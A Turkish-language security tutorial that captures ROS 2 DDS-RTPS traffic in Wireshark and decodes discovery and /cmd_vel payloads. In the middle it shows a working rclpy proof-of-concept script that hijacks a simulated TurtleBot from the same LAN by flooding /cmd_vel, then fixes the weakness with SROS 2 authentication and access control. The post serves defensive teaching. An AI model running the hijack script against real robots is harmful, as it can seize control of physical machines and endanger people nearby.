None
16 dk okuma Robotik Enis

ROS 2 Robot Hacking: DDS Trafiğini Wireshark'la Açmak ve LAN'dan /cmd_vel Hijack Saldırısı

ROS 2 publisher/subscriber'ları çoğu kişi siyah kutu gibi kullanır. Wireshark'ı açıp altındaki DDS-RTPS'i canlı dinliyor, discovery'den /cmd_vel'e her paketi okuyor, sonra default kurulumda aynı LAN'daki saldırganın bir TurtleBot'u nasıl ele geçirdiğini gösteriyor ve SROS 2 ile kapatıyoruz.

Bu yazıyı okurken yan masandaki robot bağırıyor. Sadece kimin duyacağı konusunda biraz seçici davranıyor. Aynı LAN'daki bir saldırgan, robotun kim olduğunu sormadan ona ne yapacağını söyleyebilir.

Üç bölüm olacak. Önce Wireshark'ı açıp ROS 2'nin altındaki DDS protokolünü canlı dinleyeceğiz. Discovery paketlerinden /cmd_vel'in binary payload'una kadar, robot ağında ne döndüğüne bakacağız. Sonra default kurulumda aynı LAN'daki birinin nasıl basit bir Python script'iyle bir TurtleBot'u istediği gibi sürdüğünü göstereceğim. Hiçbir kimlik doğrulama ya da yetkilendirme adımı yok. En sonunda da o kapıyı SROS 2 ile kapatacağız. SROS 2 dediğim şey, OMG'nin DDS-Security standardının ROS 2'ye giydirilmiş hali.

ROS 2'nin Altında Bir DDS Var

ROS 2 kullanan çoğu geliştirici onunla iki primitif üzerinden konuşur. create_publisher ve create_subscriber. Bir topic yayınlarsın, başka bir node onu dinler, hayat normal akar. Bu pub/sub soyutlamasının altında ise ROS 2'nin omurgasını oluşturan bir middleware var. Adı DDS (Data Distribution Service). Daha doğrusu DDS'in tel protokolü olan RTPS (Real-Time Publish-Subscribe). ROS 1'deki master node'un yerini bu protokol almış durumda.

OMG tarafından standartlaştırılan DDS-RTPS spec'i tipik bir IoT veya web kökeninden gelmiyor. Havacılık, savunma ve endüstriyel kontrol dünyasında, deterministik gecikme garantileri ve QoS politikaları üstüne kurulu. ROS 2 tasarımcıları orta tabakayı kendileri yazmak yerine bu olgun spec'in arkasına geçtiler. Birden fazla implementasyonu (default'ta Fast DDS, alternatif olarak Cyclone DDS) interchangeable middleware olarak takabilen bir mimari kurdular. Sonuç olarak tek bir ROS 2 binary'si farklı DDS sağlayıcıları üstünde koşabiliyor. Tek değiştirilen RMW_IMPLEMENTATION ortam değişkeni.

Bu mimari karar ağ üzerinde ilginç bir sessizlik etkisi yaratıyor. Çoğu ROS 2 öğretisi ros2 topic echo ile uygulama katmanını gösteriyor ama altındaki tel asla açılmıyor. OAuth yazımda anlattığım gibi, konfigürasyon detayları saldırı yüzeyini sessizce şişirir. DDS de varsayılan ayarlarıyla bırakıldığında ROS 2 sistemlerinin görünmez kapısı oluyor. Görünmez olmasının tek sebebi ise pek kimsenin Wireshark açıp bakmaması.

Bu yazıda iki şey yapacağız. Önce gözlemleyeceğiz. Discovery, topic data, QoS hepsini RTPS paketlerinde tek tek göreceğiz. Sonra istismar edeceğiz. Aynı LAN'daki bir saldırgan ne yapabilir, gerçek bir TurtleBot simülasyonu üzerinde göstereceğim. Ve son olarak kapatacağız.

Lab Kurulumu: 10 Dakikada ROS 2 Jazzy + TurtleBot

Yapacağımız her şeyi Ubuntu 24.04 (Noble) üzerinde gösteriyorum. ROS 2 distribution olarak Jazzy Jalisco'yu seçiyorum. 24.04 ile aynı LTS takvimine binmiş, 2029'a kadar destekleniyor. Eğer hala 22.04'teysen Humble da çalışır. Komutların build-edilebilir kısmı değişmez, paket adındaki jazzy yerine humble yaz.

Önce apt repo'yu ve GPG anahtarını ekliyoruz. Bu adım packages.ros.org'un imzalı paketlerine güvenmek için gerekli. Manuel checksum dilenciliğine gerek yok.

# 1) ROS 2 GPG anahtarı + apt source'u
sudo curl -sSL https://raw.githubusercontent.com/ros/rosdistro/master/ros.key \
  -o /usr/share/keyrings/ros-archive-keyring.gpg

echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/ros-archive-keyring.gpg] \
http://packages.ros.org/ros2/ubuntu $(. /etc/os-release && echo $UBUNTU_CODENAME) main" \
  | sudo tee /etc/apt/sources.list.d/ros2.list

sudo apt update

Şimdi ros-jazzy-desktop meta-paketini kuruyoruz. Bu paket ros_base'in üstüne RViz2, demos ve test'leri ekliyor. Bizim Wireshark turumuz için fazlasıyla yeterli. ros_base de yetiyor aslında ama RViz2 görsel sanity-check için elimizin altında olsun. Yanına TurtleBot3 ve Gazebo paketlerini, biraz sonra ihtiyacımız olacak sros2 security helper'larını ve tshark'ı da aynı transaction'da bindiriyorum.

sudo DEBIAN_FRONTEND=noninteractive apt install -y \
  ros-jazzy-desktop \
  ros-jazzy-turtlebot3 ros-jazzy-turtlebot3-simulations ros-jazzy-turtlebot3-gazebo \
  ros-jazzy-ros-gz ros-jazzy-ros-gz-sim ros-jazzy-ros-gz-bridge ros-jazzy-sros2 \
  python3-colcon-common-extensions python3-argcomplete \
  tshark xdotool imagemagick

Bu birkaç dakika sürer. ROS 2 desktop yaklaşık 2-3 GB indirme, kurulu hali 5-6 GB. Bittiğinde environment'ı bir kez source etmemiz lazım. Ben her seferinde elle yazmak yerine küçük bir aktivasyon script'i tutuyorum. ROS 2 ortamını, TurtleBot model ve domain ID'yi tek dosyada topluyorum.

cat > ~/.ros2_env.sh <<'EOF'
source /opt/ros/jazzy/setup.bash
export ROS_DOMAIN_ID=42
export RMW_IMPLEMENTATION=rmw_fastrtps_cpp
export TURTLEBOT3_MODEL=burger
EOF

ROS_DOMAIN_ID'ye not düşmeden geçmeyelim. Çoğu kişi "farklı domain ID kullanırsam ağda izole olurum" diye düşünür ki bu tehlikeli bir illüzyon. Bu sadece bir UDP port offset'i, kimlik doğrulama değil. Aynı LAN'daki herhangi biri sizin domain ID'nizi tahmin edip katılabilir. Az sonra bunu da göreceğiz. Wireshark'ın paketleri yakalayabilmesi için kullanıcıyı wireshark grubuna ekleyip bir kez logout/login yapıyoruz. Tembelseniz aynı shell'de newgrp wireshark ile yenileyebilirsiniz.

sudo usermod -aG wireshark $USER
newgrp wireshark
source ~/.ros2_env.sh
ros2 doctor --report

ros2 doctor kritik FAIL atmadıysa lab hazır. Aşağıdaki ekran görüntüsünde benim makineden çıktıyı görüyorsun. NETWORK CONFIGURATION WARN seviyesinde, çünkü ROS 2 makinenin localhost loopback'i dışında multicast yapabileceği bir interface arıyor. Bizim için sorun değil. Hem sim hem saldırgan aynı host'ta.

ros2 doctor ve ros2 topic list çıktısı, TurtleBot simülasyonu açıkken cmd_vel, odom, scan topic'leri görünüyor
S01. Kurulum başarılı. ros2 doctor WARN seviyesinde, kritik hata yok. TurtleBot simülasyonu başlatıldıktan sonra /cmd_vel, /odom, /scan topic'leri sahnede. Bu yazıdaki her senaryo bu kurulum üzerinden çalışacak.

İlk Pencere: ros2 topic echo ile Wireshark Yan Yana

Ağ üzerinde bir şey döndüğüne ikna olmak için iki pencere açalım. Aynı veriyi iki farklı katmandan göstereceğiz. Solda senin tanıdığın ROS 2 manzarası. ros2 topic echo /cmd_vel sana decoded Twist mesajını insanca uzatıyor. Sağda alttaki gerçeklik. tshark ya da Wireshark'ın grafiksel arayüzü, aynı saniyede aynı topic'in RTPS submessage'ını ham binary olarak yakalıyor.

Sim'i çalıştırıyoruz. Aşağıdaki komut TurtleBot3 dünyasını ayağa kaldırır. Gazebo penceresi açılır, robot ortadadır, /cmd_vel topic'i artık LAN'da konuşulmaya başlamıştır.

source ~/.ros2_env.sh
ros2 launch turtlebot3_gazebo turtlebot3_world.launch.py
Gazebo Sim Harmonic penceresinde TurtleBot3 burger robotuna yakın çekim, sağ panelde Model bilgileri ve Entity Tree görünüyor
S02. Sahne hazır. Gazebo Sim Harmonic'in sol panelinde TurtleBot3 burger var. Hexagonal pillerin arasında, kameraya yakından bakıyor. Sağda Entity Tree'de robot seçili, Model panelinde de SDF dosyasının yolu ve pose bilgisi. Bu yazının geri kalanında tam da bu robotla konuşacağız.

Sim açıkken bir başka terminalde robotu hareket ettirmek için elle bir Twist publish edelim. Bu, "robot ne yapıyor" değil "ağda ne dolaşıyor" sorusunu yanıtlamak için bir tetikleyici.

source ~/.ros2_env.sh
ros2 topic pub -r 2 /cmd_vel geometry_msgs/msg/Twist \
  "{linear: {x: 0.1}, angular: {z: 0.2}}"

Şimdi yan pencerede aynı topic'i echo'la dinleyelim. Bu uygulama katmanı.

source ~/.ros2_env.sh
ros2 topic echo /cmd_vel

Çıktıda her saniye iki kez güncellenen linear.x: 0.1 ve angular.z: 0.2 görüyorsun. Tanıdık manzara. Şimdi ağ katmanına geçelim ve tshark'ı doğru filtre ile loopback üzerinden dinleyelim. ROS 2 multicast'i default'ta loopback dahil tüm interface'lere düşürür.

IFACE=$(ip -o link show | awk -F': ' '/lo:/{print $2; exit}')
sudo tshark -i "$IFACE" -Y "rtps"

İlk pakette zihindeki tablonun değiştiğini hissedeceksin. Artık protocol RTPS, info DATA, writer entity id gibi sütunlar var. Ama Twist'in 0.1, 0.2'sini doğrudan göremiyorsun. O sayılar henüz CDR (Common Data Representation) ile serileştirilmiş halde, paketin payload'ında binary olarak duruyor. Bir sonraki bölümde o paketi açıp 0.1'i hex hex bulacağız. Şimdilik şu iki manzaranın aynı veri olduğunu görmek yeterli.

Solda ros2 topic echo cmd_vel canlı Twist çıktısı, sağda aynı saniyede Wireshark RTPS filter ile yakalanan DATA submessage'ları
S03. Solda ros2 topic echo, sağda Wireshark. İkisi de aynı saniyede aynı /cmd_vel mesajını gösteriyor. Ama biri seninle Türkçe konuşurken diğeri sana protokolün ham binary'sini uzatıyor. Bu iki pencere arasındaki mesafe, ROS 2 ekosisteminin görünmez tarafı.

Bu noktadan sonraki tüm bölümlerde sağdaki pencerede yaşayacağız.

Discovery: Robotlar Birbirini Multicast'le Buluyor

DDS'in pub/sub primitif'inden önce çözmesi gereken bir sorun var. Kim var burada. Hiçbir ortak veritabanı, ROS 1'deki gibi merkezi master node yok. ROS 2 başlatıldığında her DomainParticipant ağa şu mesajı gönderir. "Ben şuyum, şu topic'leri yayınlıyor ve dinliyorum, beni duyan ses versin." Bu işin protokol adı SPDP. Açılımı Simple Participant Discovery Protocol.

Mekanizma multicast UDP üzerine kurulu. ROS 2 default kurulumda 239.255.0.1 adresine, port 7400 + (domain_id × 250) üzerinden bağırır. Bizim ROS_DOMAIN_ID=42 kurulumumuzda hesap basit. 7400 + 42 × 250 = 17900. Aynı LAN'daki bir node bu adresi dinliyorsa, sizi otomatik duyar. Domain ID'yi gizli sanmak burada ilk başınıza patlar. Bir saldırgan 0'dan 232'ye tüm port aralığını saniyeler içinde tarayabilir.

IFACE=$(ip -o link show | awk -F': ' '/lo:/{print $2; exit}')
sudo tshark -i "$IFACE" -f "udp and (port 7400 or portrange 17900-18000)" -Y "rtps"

Sim'i başlattığın anda yakalanan ilk paketler genellikle RTPS DATA(p) submessage'larıdır. sm_id = 0x15, ama burada Wireshark sana built-in topic bilgisi olduğunu söyler. DCPSParticipant. Bu, ParticipantData mesajıdır ve içeriği SPDP'in özüdür. Aşağıdaki ekran görüntüsünde tek bir SPDP paketini ağacında açtım.

Wireshark'ta seçilmiş bir RTPS SPDP DATA paketi: GuidPrefix, ProtocolVersion, ParticipantData ve unicast multicast locator listeleri
S04. Bir SPDP paketi. GuidPrefix robotun 12 byte'lık ağ kimliği. Host id artı process id artı counter. defaultUnicastLocatorList'te robotun nereden yanıt beklediği, metatrafficMulticastLocatorList'te de "beni şu multicast adresinde dinleyin" deklarasyonu var.

Paketin gövdesinde dikkat çeken üç alan var.

  • GuidPrefix (12 byte): Bir DomainParticipant'ın global olarak unique kimliği. İlk 4 byte tipik olarak vendor'a özel host id, sonraki 4 byte process id, son 4 byte instance counter. Aynı makinedeki iki ROS 2 node farklı GuidPrefix taşır. Aynı node farklı makinelerde de farklı. Wireshark'ın paket ağacında bunu açtığında her byte'ı tek tek görüyorsun.
  • ProtocolVersion ve VendorId: 2.4 ve 0x010f (eProsima Fast DDS). Cyclone DDS kullanırsanız vendor id 0x0143 olur. Paketten doğrudan hangi middleware ile konuştuğunu okuyabiliyorsun.
  • Default unicast ve multicast locator listeleri: "Bana ulaşmak için bu adres-port çiftlerini kullan" deklarasyonu. ROS 2 ağında bu ilk handshake'ten sonraki gerçek topic verisi unicast'a düşer. Multicast sadece keşif içindir.

OMG DDS-RTPS 2.3 spec'inin §8.5 bölümü bu handshake'in tüm formal grammar'ını verir. Biz burada sadece "yetkilendirme yok" gerçeğini izlerken kullanıyoruz. Bir robot SPDP paketini gördüğü her başka robotu otomatik olarak yetkili bir konuşmacı sayar. Saldırgan da öyle.

Topic Data: Bir Twist Mesajının Binary Anatomisi

Discovery bittikten sonra gerçek topic trafiği başlar. /cmd_vel'e bir Twist publish ettiğinde paket şöyle örülür. Önce RTPS başlığı (16 byte sabit), sonra bir veya daha fazla submessage. Bizim ilgi alanımız DATA submessage'ı. sm_id = 0x15. İçinde bir küçük başlık var. Writer entity id, sequence number. Bir de serializedPayload var. Payload'ın kendisi CDR (Common Data Representation) ile encode edilmiş. DDS'in IDL'den binary'ye dönüş kuralı.

CDR header'ı 4 byte. İlk iki byte endianness ve encoding type'ı söylüyor. Little-endian PLAIN_CDR için 00 01. Sonraki iki byte option flag'leri. Bu header'ı atlayınca veri başlıyor. geometry_msgs/msg/Twist için yapı çok basit. İki Vector3 (linear ve angular), her biri üç float64. Toplam 6 çarpı 8 yani 48 byte. Yani bir Twist DATA payload'u 4 artı 48 yani 52 byte. Bunu Wireshark'ta seçtiğin paketin sağındaki hex pane'inde bayt bayt görebiliyorsun.

Wireshark'ta seçilmiş bir RTPS DATA paketi, üst pane'de dissector tarafından parse edilmiş Twist alanları, alt pane'de aynı verinin hex dump'ı
S05. /cmd_vel üzerindeki bir DATA submessage. Üstteki Wireshark dissector dilimi 0.1 ve 0.2'yi tanıyor. Alttaki hex pane'inde aynı sayılar 9a 99 99 99 99 99 b9 3f (linear.x = 0.1, IEEE 754 little-endian double) ve 33 33 33 33 33 33 c9 3f (angular.z = 0.2). Wireshark'ın sana yardım etmesini beklemeden bunu Python'la elle de okuyabilirsin.
import struct

# Wireshark hex pane'inden kopyalanmış bir DATA submessage payload'u
# (4 byte CDR header + 48 byte Twist)
payload = bytes.fromhex(
    "00 01 00 00"                                  # CDR header (LE, PLAIN_CDR)
    "9a 99 99 99 99 99 b9 3f"                      # linear.x  = 0.1
    "00 00 00 00 00 00 00 00"                      # linear.y  = 0.0
    "00 00 00 00 00 00 00 00"                      # linear.z  = 0.0
    "00 00 00 00 00 00 00 00"                      # angular.x = 0.0
    "00 00 00 00 00 00 00 00"                      # angular.y = 0.0
    "33 33 33 33 33 33 c9 3f"                      # angular.z = 0.2
    .replace(" ", "")
)
lx, ly, lz, ax, ay, az = struct.unpack_from("<dddddd", payload, 4)
print(f"linear  = ({lx:.2f}, {ly:.2f}, {lz:.2f})")
print(f"angular = ({ax:.2f}, {ay:.2f}, {az:.2f})")
# linear  = (0.10, 0.00, 0.00)
# angular = (0.00, 0.00, 0.20)

Bu noktada birkaç şey aydınlanıyor. Bir, RTPS DATA paketinin payload'u uygulama katmanındaki Twist'in tam kopyası, üstüne hiçbir şifreleme, MAC veya imza eklenmemiş. İki, yapıyı bildiğin an istediğin payload'u kendin de üretebilirsin. Üç, alıcı taraf da aynı şekilde başlığa bakıp şu writer id'sinden şu sequence number ile bir Twist geldi diyor ve hayatına devam ediyor. Tek koşul paketi senden gelmiş kabul etmesi. Default kurulumda bunun için gereken her şey aynı domain id ve aynı topic name'dir. Hangi node'un yetkili olduğuna dair hiçbir kontrol yok.

Bir sonraki bölümde QoS'un bu iletişimi nasıl şekillendirdiğini de paketlerde göreceğiz. Sonrasında "yapıyı biliyoruz" cümlesini söze döküp robotu kendi script'imizden süreceğiz.

QoS Davranışta: RELIABLE ile BEST_EFFORT Paketlerde Görünür

ROS 2 derslerinde QoS genellikle bir QoSProfile snippet'i olarak gösterilir. Oradan sonra anlatım uygulama katmanında kalır. Ama RTPS'in güzelliği şu. QoS politikalarının davranışı paketlerde görünür. Bir publisher'ın RELIABLE mi yoksa BEST_EFFORT mi konuştuğunu, ekstra bir log satırı koymadan, Wireshark'a bakıp anlayabilirsin.

İki QoS submessage'ı dikkat ediyoruz. HEARTBEAT (sm_id = 0x07) ve ACKNACK (sm_id = 0x06). Reliable bir writer periyodik olarak HEARTBEAT yollar. "Şu ana kadar şu sequence number aralığını gönderdim, sende eksik var mı" anlamında. Reader cevap olarak ACKNACK ile "şu paketleri aldım, şunu hala bekliyorum" deklarasyonu yapar. Best-effort tarafta bu çift hiç görünmez. Writer paketleri yollar, kaybolanlarla ilgilenmez, reader susar.

# Reliable bir publisher
ros2 topic pub -r 1 --qos-reliability reliable /demo/reliable \
  std_msgs/msg/String "{data: hello}"

# Aynı anda bir başka terminalde
sudo tshark -i lo -Y "rtps.sm_id == 0x07 || rtps.sm_id == 0x06"

Yakalama akar akmaz iki yönlü bir trafik dökülecek. Writer'dan HEARTBEAT, reader'dan ACKNACK, sürekli. Aynı testi --qos-reliability best_effort ile tekrarladığında aynı filtre boş kalır. RTPS spec'inin reliability protocol'ünü sayfalarca okumaktan daha öğretici bir teşhis.

Wireshark'ta reliable QoS ile yayın yapan bir topic'in HEARTBEAT ve ACKNACK submessage'ları yan yana akıyor
S06. RELIABLE QoS davranışta. Publisher'dan gelen HEARTBEAT'lerin sequence number aralığı ve reader'dan dönen ACKNACK bitmap'i. Best-effort'ta bu pencere boş kalır. Aynı topic adı, aynı domain, ama protokol seviyesinde tamamen farklı sözleşme.

QoS'u paketlerde görmek bir kez işe yarayınca üstüne ekleyebileceğin sorular katlanıyor. Aynı topic için RELIABLE bir subscriber ve BEST_EFFORT bir publisher kurarsan ne olur (cevap. discovery mismatch, hiç bağlanmazlar). DURABILITY TRANSIENT_LOCAL olduğunda yeni katılan reader'a geçmiş veriler ne biçimde dökülür (cevap. hızlı bir gap ve data patlaması, hepsi DATA submessage olarak ama özel writer GuidPrefix'le). Bunlar artık paketlere bakarak doğrudan cevaplanabilir sorular. Dokümantasyondan tahmin ürünleri değil.

Klimaks: Aynı LAN'da Hiçbir Şey Sormadan /cmd_vel Yollamak

Buraya kadar dinledik. Şimdi konuşalım.

ROS 2'nin default kurulumunda paketlerde gördüğümüz hiçbir şeye karşılık gelen bir kimlik doğrulama, yetkilendirme ya da bütünlük garantisi yok. Aynı domain ID'yi paylaşan ve ağa erişimi olan herkes, ister bir laboratuvar bilgisayarındaki misafir kullanıcı, ister yanlış konfigüre edilmiş bir VLAN'a düşmüş bir geliştirme kiti, ister kafeterya WiFi'sine bağlanmış bir ziyaretçi laptop'u olsun, robot içinmiş gibi paket gönderebilir. Sahnemizdeki TurtleBot kendisini hareket ettirme yetkisi olanın kim olduğu sorusunu hiç sormaz. Sadece "bir Twist geldi" der.

Aşağıdaki 30 satırlık script bunu kanıtlamak için yeterli. rclpy ile default domain'e katılıyor, /cmd_vel üzerinde bir publisher ilan ediyor, sonra 20 Hz hızında saldırgan Twist'ler basıyor. Hiçbir credential, hiçbir anahtar, hiçbir konfigürasyon. Ağdaki herhangi bir Python yorumlayıcısı çalıştırabilir.

#!/usr/bin/env python3
"""hijack_cmd_vel.py — same-LAN ROS 2 hijack PoC."""
import rclpy
from rclpy.node import Node
from geometry_msgs.msg import Twist


class Attacker(Node):
    def __init__(self) -> None:
        super().__init__("attacker")
        self.pub = self.create_publisher(Twist, "/cmd_vel", 10)
        self.timer = self.create_timer(0.05, self.spam)
        self.get_logger().info("Attacker joined the domain. Publishing /cmd_vel ...")

    def spam(self) -> None:
        t = Twist()
        t.linear.x = 0.3
        t.angular.z = 1.2
        self.pub.publish(t)


def main() -> None:
    rclpy.init()
    rclpy.spin(Attacker())


if __name__ == "__main__":
    main()

Çalıştır. TurtleBot sahnesi, normal davranışlarının (örneğin turtlebot3_teleop'tan gelen sıfır Twist'in) üstüne senin Twist'ini alır almaz dönmeye başlar. ROS 2'nin last-writer-wins semantiği yok aslında. Her DATA submessage yeni bir komut. İki kaynak (normal teleop ve saldırgan) aynı topic'e konuşuyorsa robot ikisini de hesaba katmaya çalışır. Davranışı belirleyen ana faktör senin rate'in olur. 20 Hz spam, 1 Hz teleop'u kolayca bastırır.

Gazebo penceresinde TurtleBot saldırgan komutuyla dönüyor, sağdaki terminal'de attacker.py spam logları akıyor
S07. Klimaks. Solda Gazebo sahnesinde robot saldırganın komutuyla dönerken, sağdaki saldırgan terminali publishing /cmd_vel ... log'larını basıyor. Bütün senaryo aynı host'ta ama mesele host değil LAN. Aynı switch'e takılı misafir bir cihaz da aynı paketi gönderebilir.

Bunu okurken belki "ama bu sadece bir sim, gerçek robot ağında multicast bu kadar kolay erişilebilir olmaz" diye düşünüyorsundur. Doğru, ama tehlikeyi azaltmıyor. Çoğu robotik laboratuvarı, AGV deployment'ı veya araştırma platformu açık bir LAN üzerinden çalışıyor. Aynı switch'e takılı bir CI runner, ziyaretçi laptop'u veya kötü ayarlanmış bir kamera yeterli. Bu, OAuth yazımdaki dersin bir tekrarı. Konfigürasyon bir nottan ibaret kaldığı sürece saldırı yüzeyi her yere yayılır. Burada da konfigürasyon, yani "kim publish edebilir" sözleşmesi, hiç yazılmamış. SROS 2'nin gerçek değeri o sözleşmeyi yazılır hale getirmesinde.

Kapı: SROS 2 ile DDS-Security'yi Açmak

OMG'nin DDS-Security spec'i (1.1) yıllar önce ortaya bir şablon koydu. DomainParticipant'lar arasında authentication, access control, ve transport şifrelemesi sağlayan beş tane Service Plugin Interface. ROS 2 tarafındaki implementasyon SROS 2 isminde küçük bir araç seti. Keystore'lar, enclave'ler ve XML policy dosyalarıyla aynı DDS implementasyonu üstüne giydiriliyor. Default değil. Sen kurmadığın sürece olmadığı gibi.

Pratikte üç adım.

source ~/.ros2_env.sh

# 1) Bir keystore oluştur. CA cert + key burada.
ros2 security create_keystore ~/sros2_keystore

# 2) Robot için bir enclave (kimliği) oluştur.
ros2 security create_enclave ~/sros2_keystore /turtlebot

# 3) Minimal bir policy XML. Sadece turtlebot node'u /cmd_vel publish edebilir.
cat > /tmp/policy.xml <<'EOF'
<?xml version="1.0" encoding="UTF-8"?>
<policy version="0.2.0">
  <enclaves>
    <enclave path="/turtlebot">
      <profiles>
        <profile node="turtlebot">
          <topics publish="ALLOW"><topic>cmd_vel</topic></topics>
          <topics subscribe="ALLOW"><topic>scan</topic><topic>imu</topic></topics>
        </profile>
      </profiles>
    </enclave>
  </enclaves>
</policy>
EOF
ros2 security generate_policy /tmp/policy.xml ~/sros2_keystore

Bu sonunda ~/sros2_keystore/enclaves/turtlebot/ altında dört dosya bırakır. cert.pem kimlik sertifikası. key.pem özel anahtar. governance.p7s domain-wide imzalı kural seti. permissions.p7s bu enclave'in topic-bazlı izinleri. Sim'i bu kez security açık başlatıyoruz.

export ROS_SECURITY_KEYSTORE=$HOME/sros2_keystore
export ROS_SECURITY_ENABLE=true
export ROS_SECURITY_STRATEGY=Enforce
ros2 launch turtlebot3_gazebo turtlebot3_world.launch.py

Şimdi az önceki hijack_cmd_vel.py'yi tekrar çalıştırın. Robot dönmez. Çünkü saldırgan node'un kimliğini doğrulayabileceği bir sertifika yok. Discovery'de TurtleBot tarafındaki authentication plugin'i el sıkışmayı reddediyor ve bu participant'tan gelen DATA submessage'larını sessizce düşürüyor.

SROS 2 enforce modunda iken aynı saldırı script'i çalıştığında robot hareketsiz, terminalde authentication failed mesajları
S08. Aynı script. Aynı LAN. Bu kez Twist'ler hiçbir robotun durumunu değiştirmiyor. Saldırgan terminali "publishing /cmd_vel ..." demeye devam ediyor. Paketler ağa düşüyor. Ama robot tarafındaki SROS 2 enforce katmanı authentication failure logu basıyor ve veriyi düşürüyor.

Bu fix'in pratik tarafları gözardı edilemez. Keystore'u bir sırlar yönetim sistemine, ister Vault olsun, ister SOPS, ister en azından sıkı ACL'li bir dizin, koyman gerekiyor. Sertifika rotasyonu manuel ve kendi rotation politikanı yazmazsan üretim ROS 2 deployment'larında bir gün sabaha karşı expired certler yüzünden deploy'un kilitlenir. Governance dosyası domain'in özüdür. Küçük bir yazım hatası tüm domain'de discovery'yi öldürür. Sonunda authentication ve access control bedavaya gelmez ama default'tan bir adım ileri gitmek için fiyat 30 satırlık XML civarında, yani ROS 2'yi LAN dışında bir şeyle konuşturacaksan bu fiyat son derece ucuzdur.

Pratik Notlar: Production'a Götürürken

Lab'da çalışan SROS 2 setup'ını gerçek bir deployment'a taşırken birkaç madde dosyaya not düşmeye değer.

  • Ağ segmentasyonu hala ilk savunma hattı. SROS 2 olsa bile robot ağını dış networkten ayır. DDS multicast'i WAN'a sızdırırsan (örneğin yanlış yapılandırılmış bir VPN üzerinden) yetkilendirme olsa bile keşif trafiği gereksiz yere açığa çıkar.
  • ROS_DOMAIN_ID'yi gizli sanma. 0-232 arası sayılabilir bir alandır. Saldırgan port aralığını saniyeler içinde tarar. Gerçek bariyer SROS 2'nin authentication plugin'idir. Domain id değil.
  • Keystore versionlu ve yedekli olsun. SOPS, Vault, ya da en azından sertifikaları ayrı bir git-crypt repository'sinde tut. CA private key'i kaybedersen tüm domain'i yeniden kurman gerekir.
  • Sertifika rotasyonu için planın olsun. Default SROS 2 sertifikaları uzun ömürlüdür ama best practice değil. cron ile yıllık rotasyon ve robot tarafında otomatik reload akışı kur. Yoksa expired cert deploy'unu öldürür.
  • Cyclone DDS'e geçmeyi planlıyorsan vendor id paketlerde görünür. Ağ üzerindeki middleware'ini bir Wireshark açışıyla saldırgan da öğrenir. Sürpriz değil.
  • Production'da Fast DDS shared memory transport'unu kullan. Aynı host'taki node'lar UDP'ye değil mmap'e düşer. Performans ve saldırı yüzeyi ikisini birden iyileştirir.

3 Alıp Götürülen

Bu yazıyı bırakırken şu üç maddeyi unutma.

  1. ROS 2 sessiz değil. Multicast'te bağırıyor. Wireshark'ı açmadan bir robotun ağ davranışını anladığını söyleyemezsin. Discovery, topic data, QoS. Hepsi paketlerde görünür.
  2. Default kurulum auth'suz. Aynı LAN'da olan herkes robotuna bir Twist gönderebilir. Bu lab'ında bile gerçek bir risk. Üretimde planlanmamış demolar bu yüzden patlar.
  3. SROS 2 var, ama kurmadıkça olmadığı gibi. 30 satır XML ve bir keystore. Bu yazıdaki saldırının kapanması için yeterli. Olduğunu bilmek var olduğu anlamına gelmez.

Bir sonraki yazıda DDS-Security'nin altındaki Service Plugin Interface'leri kendi başlarına açacağım. Authentication plugin nasıl çalışır, access control kararını hangi anda verir, transport şifrelemesi RTPS paketlerini nasıl sarar. Wireshark açık kalsın, kaçırmak istemezsin. Takipte kal, yayına aldığım gün Twitter'dan duyuracağım.

DİĞER DİLLER